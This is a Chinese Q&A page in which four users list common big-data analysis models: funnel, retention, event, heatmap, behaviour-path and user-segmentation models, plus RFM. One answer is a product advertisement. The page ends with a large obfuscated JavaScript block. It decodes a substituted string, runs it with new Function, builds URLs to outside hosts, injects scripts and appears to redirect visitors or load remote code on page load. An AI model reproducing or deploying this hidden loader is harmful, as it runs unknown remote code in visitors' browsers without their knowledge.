大数据分析中,有哪些常见的大数据分析模型

2025年01月18日 13:07
有4个网友回答
网友(1):

对于互联网平台而言的产品,主要可以分为两大类:商品和服务。想要通过数据分析提高产品的销量,首先要了解哪些数据需要分析?

哪些数据需要分析?

一、运营模块

从用户的消费流程来看,可以划分为四个部分:引流,转化,消费,存留。

  • 流量

流量主要体现在引流环节,按照流量结构可以分为渠道结构,业务结构以及地区结构等。渠道结构,可以追踪各个渠道的流量情况,通过渠道流量占比来分析各渠道的质量。业务结构,根据指定业务对活动的流量进行追踪,观察活动前,中,后流量的变化情况,对活动效果做出评估。

  • 转化率

转化率=期望行为人数/作用总人数。提升转化率意味着更低的成本,更高的利润, 最经典的分析模型就是漏斗模型。

  • 流失率和留存率

通过各个渠道或者活动把用户引流过来,但过一段时间就会有用户流失掉,这部分用户就是流失用户,而留下来的这部分用户就是留存用户。流失可以分为刚性流失,体验流失和竞争流失,虽然流失是不可避免的,但可以根据对流失的分析,做出相应的对策来挽留用户。关于留存,通过观察存留的规律,定位存留阶段,可以辅助市场活动、市场策略定位等,同时还可以对比不同用户、产品的功能存留情况,分析产品价值,及时对产品做出调整。

  • 复购率

复购率可以分为“用户复购率”和“订单复购率”,通过分析复购率,可以进一步对用户粘性进行分析,辅助发现复购率问题,制定运营策略, 同事还可以进行横向(商品、用户、渠道)对比分析, 细化复购率,辅助问题定位。

二、销售模块

销售模块中有大量的指标,包括同环比、完成率、销售排行、重点商品占比、平台占比等等。

三、商品模块

重要指标分析:包括货龄、动销率、缺货率、结构指标、价格体系、关联分析、畅滞销分析等, 用来评判商品价值,辅助调整商品策略

四、用户模块

重点指标分析:包括新增用户数、增长率、流失率、有效会员占比、存留情况等

用户价值分析:可以根据RFM模型,再融入其他个性化参数,对用户进行价值的划分,并针对各等级用户做出进一步分析。

用户画像:根据固有属性、行为属性、交易属性、兴趣爱好等维度,来为用户添加标签与权重,设计用户画像,提供精准营销参考依据。


根据需要分析的数据选择分析模型

一、用户模型

用户模型是一种在营销规划或商业设计上描绘目标用户的方法,经常有多种组合,方便规划者用来分析并设置其针对不同用户所展开的策略。传统的用户模型构建方法有两种:基于访谈和观察构建用户模型(严谨可靠但费时)、临时用户模型(基于行业专家或者市场调查数据构建,快速但不够可靠)。

改进的用户模型构建方法:基于用户行为数据的用户模型

优势:对传统方式进行简化,降低数据分析的门槛;让数据分析更科学、高效、全面,可以更直接地应用于业务增长,指导运营策略。

方法:

1. 整理、收集对用户的初始认知

2. 对用户进行分群

3. 分析用户的行为数据

4. 推测目标动机

5. 对用户进行访谈调查验证

6. 用户模型建立修正

同时,还可以将收集到的用户信息映射成为用户的属性或用户的行为信息,并存储起来形成用户档案;实时关注自身数据的波动,及时做出战略性调整。

二、事件模型

事件模型是用户行为数据分析的第一步,也是分析的核心和基础,它背后的数据结构、采集时机以及对事件的管理是事件模型中的三大要素。

什么是事件?

事件就是用户在产品上的行为,它是用户行为的一个专业描述,用户在产品上所有获得的程序反馈都可以抽象为事件,由开发人员通过埋点进行采集。举个例子:用户在页面上点击按钮就是一个事件。

事件的采集

事件-属性-值的结构:事件(用户在产品上的行为),属性(描述事件的维度),值(属性的内容)

在事件采集过程中,灵活运用事件-属性-值的结构,不仅可以最大化还原用户使用场景,还可以极大地节省事件量,提高工作效率。

采集的时机:用户点击、网页加载完成、服务器判断返回。在设计埋点需求文档时,采集时机的说明尤为重要,也是保证数据准确性的核心。

举个例子:电商销售网页的事件采集

事件的分析

对事件的分析通常有事件触发人数、次数、人均次数、活跃比四个维度的计算。

事件的管理

当事件很多时,对事件进行分组,重要事件进行标注,从而分门别类地管理。同时,可以从产品业务角度将重要的用户行为标注出来,以便在分析时方便、快捷地查找使用常用、重要的事件。

三、漏斗模型

漏斗模型最早起源是从传统行业的营销商业活动中演变而来的,它是一套流程式数据分析方法。

主要模型框架:通过检测目标流程中起点(用户进入)到最后完成目标动作。这其中经历过的每个节点的用户量与留存量,来考核每个节点的好坏,来找到最需要优化的节点。漏斗模型是用户行为状态以及从起点到终点各阶段用户转化率情况的重要分析模型。

四、热图分析 —— 画出用户行为

热图,是记录用户与产品界面交互最直观的工具。热图分析,就是通过记录用户的鼠标行为,并以直观的效果呈现,从而帮助使用者优化网站布局。无论是Web还是App的分析,热图分析都是非常重要的模型。

在实际的使用过程中,常常用几种对比热图的方法,对多个热图进行对比分析,解决问题:

  • 多种热图的对比分析,尤其是点击热图(触摸热图)、阅读热图、停屏热图的对比分析;

  • 细分人群的热图对比分析,例如不同渠道、新老用户、不同时段、AB测试的热图分析等;

  • 深度不同的互动,所反映的热图也是不同的。例如点击热图和转化热图的对比分析;

五、自定义留存分析

关于留存率的概念,在前文中的已经有所介绍。对于产品而言,留存率越高,说明产品的活跃用户越多,转化为忠实用户的比例会越大,越有利于产品变现能力的提升。

自定义留存:基于自己业务场景下用户的留存情况,也即对留存的行为进行自定义。可以通过对初始行为和回访行为进行设定来对留存行为进行自定义。

举个例子:抢到券的用户使用哈罗共享单车的5日留存率

初始行为:抢到券

回访行为:使用哈罗共享单车

六、粘性分析

粘性:以用户视角,科学评估产品的留存能力

通过用户粘性分析,可以了解到一周内或一个月内用户到底有多少天在使用你的产品甚至是某个功能,进一步分析出用户使用产品的习惯。

粘性分析是诸葛io的特色功能之一,其中包括产品整体粘性、功能粘性、粘性趋势以及用户群对比,具体可以参考https://docs.zhugeio.com/advanced/stickiness.html

七、全行为路径分析

全行为路径分析是互联网产品特有的一类数据分析方法,它主要根据每位用户在App或网站中的行为事件,分析用户在App或网站中各个模块的流转规律与特点,挖掘用户的访问或浏览模式,进而实现一些特定的业务用途,如对App核心模块的到达率提升、特定用户群体的主流路径提取与浏览特征刻画,App产品设计的优化等。

在可视化过程中常用的全行为路径模型有两种:

  • 树形图:以树形结构体现用户的行为路径

  • 太阳图:以环形图体现用户的行为路径

上图中,每一环代表用户的一步,不同的颜色代表不同的行为,同一环颜色占比越大代表在当前步骤中用户行为越统一,环越长说明用户的行为路径越长。

八、用户分群模型

用户分群即用户信息标签化,通过用户的历史行为路径、行为特征、偏好等属性,将具有相同属性的用户划分为一个群体,并进行后续分析。

基于用户行为数据的分群模型:当回归到行为数据本身,会发现对用户的洞察可以更精细更溯源,用历史行为记录的方式可以更快地找到想要的人群。

四个用户分群的维度:

  • 用户属性:年龄、性别、城市、浏览器版本、系统版本、操作版本、渠道来源等;

  • 活跃于:通过设置活跃时间,找到指定之间段内的活跃用户;

  • 做过/没做过:通过用户是否进行某行为,分析用户与产品交互的“亲密度”;

  • 新增于:通过设置时间段,精确筛选出新增用户的时间范围;

如何提高产品销量是一个综合性的问题,需要结合多种模型进行数据分析,以上内容是对一些知识的归纳,希望能够对您有所帮助。

网友(2):

来看看我们公司的大数据平台

我们的DataZ具备高性能实时和离线计算能力,丰富的统计、分析、挖掘模型,为行业全流程、全周期的生产运营活动提供商业智能支持,并能可视化您的数据,高效挖掘数据深层次信息。可以应用于金融大数据风控。

系统架构图System Architecture Diagram

数据采集Data Collection

大数据采集提供强大的数据抽取、转换和加载能力。适配多种数据源;适配多种数据抽取方式;可配置采集策略,支持集群方式运行;对采集过程进行监控和详细的日志记录;提供直观的图形界面设计器及工作流设计模式,满足各种场景的需求。

数据管理Data Management

完整的数据质量管理机制,实现集中化、制度化、流程化、过程可视化的管控。统一的数据标准规范,并使用编码映射机制,建立数据字典,实现不同数据源数据的整合,保证数据完整性、一致性、准确性。

数据挖掘Data Mining

通过DataZ,大数据挖掘,将常用统计、分析、挖掘的模型进行插件式封装,提供灵活、易用、高性能的可视化分析能力,让您快速洞察市场规律,及时发现业务盲点,发挥大数据的价值。

丰富的算法库

集成数据挖掘技术

支持集群线性扩展

流程可视化设计

简单易用,快速上手

大数据可视化Data Visualization

快速收集、筛选、分析、归纳、展现决策者所需要的信息,并根据新增的数据进行实时更新。可以实现决策支持、财务分析、预警分析、仪表板、绩效分析、经营分析等各类数据分析应用。

可视化设计平台

丰富的数据可视化组件库

快速简易的BI实施平台

支持多终端展现

网友(3):

很多朋友还没有接触过大数据分析方案,认为其仅仅算是个愿景而非现实——毕竟能够证明其可行性与实际效果的案例确实相对有限。但可以肯定的是,实时数据流中包含着大量重要价值,足以帮助企业及人员在未来的工作中达成更为理想的结果。那么,那些领域需要实时的数据分析呢?

1、医疗卫生与生命科学

2、保险业

3、电信运营商

4、能源行业

5、电子商务

6、运输行业

7、投机市场

8、执法领域

9、技术领域

常见数据分析模型有哪些呢?

1、行为事件分析:行为事件分析法具有强大的筛选、分组和聚合能力,逻辑清晰且使用简单,已被广泛应用。

2、漏斗分析模型:漏斗分析是一套流程分析,它能够科学反映用户行为状态以及从起点到终点各阶段用户转化率情况的重要分析模型。

3、留存分析模型留存分析是一种用来分析用户参与情况/活跃程度的分析模型,考察进行初始化行为的用户中,有多少人会进行后续行为。这是用来衡量产品对用户价值高低的重要方法。

4、分布分析模型分布分析是用户在特定指标下的频次、总额等的归类展现。

5、点击分析模型即应用一种特殊亮度的颜色形式,显示页面或页面组区域中不同元素点点击密度的图标。

6、用户行为路径分析模型用户路径分析,顾名思义,用户在APP或网站中的访问行为路径。为了衡量网站优化的效果或营销推广的效果,以及了解用户行为偏好,时常要对访问路径的转换数据进行分析。

7、用户分群分析模型用户分群即用户信息标签化,通过用户的历史行为路径、行为特征、偏好等属性,将具有相同属性的用户划分为一个群体,并进行后续分析。

8、属性分析模型根据用户自身属性对用户进行分类与统计分析,比如查看用户数量在注册时间上的变化趋势、省份等分布情况。

模型再多,选择一种适合自己的就行,如何利益最大化才是我们追求的目标

网友(4):

数据分析模型主要是用来指导数据分析师进行一个完整的数据分析,更多是指导数据分析的思路。数据分析常用的模型有:
留存分析模型:用来分析用户参与情况/活跃程度的分析模型,考察进行初始行为的用户中,有多少人会进行后续行为;
全行为路径分析:根据每位用户在APP或网站中的行为事件,分析用户在APP或网站中各个模块的流转规律与特点,挖掘用户的访问或浏览模式,进而实现一些特定的业务用途;
漏斗分析模型:能够科学反映用户行为状态以及从起点到终点各阶段用户转化率情况的重要分析模型;
热图分析模型:其实就是指页面点击分析;
事件分析模型:是针对用户行为的分析模型之一,也是用户行为数据分析的核心和基础;
用户分群模型:对用户进行精细化运营,用户分群能帮助企业更加了解用户,分析用户的属性特征、以及用户的行为特征;
用户分析模型:通过查看用户数量在注册时间上的变化趋势、查看用户按省份的分布情况等等,丰富用户画像维度;
黏性分析模型:在留存分析的基础上,对一些用户指标进行深化;

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();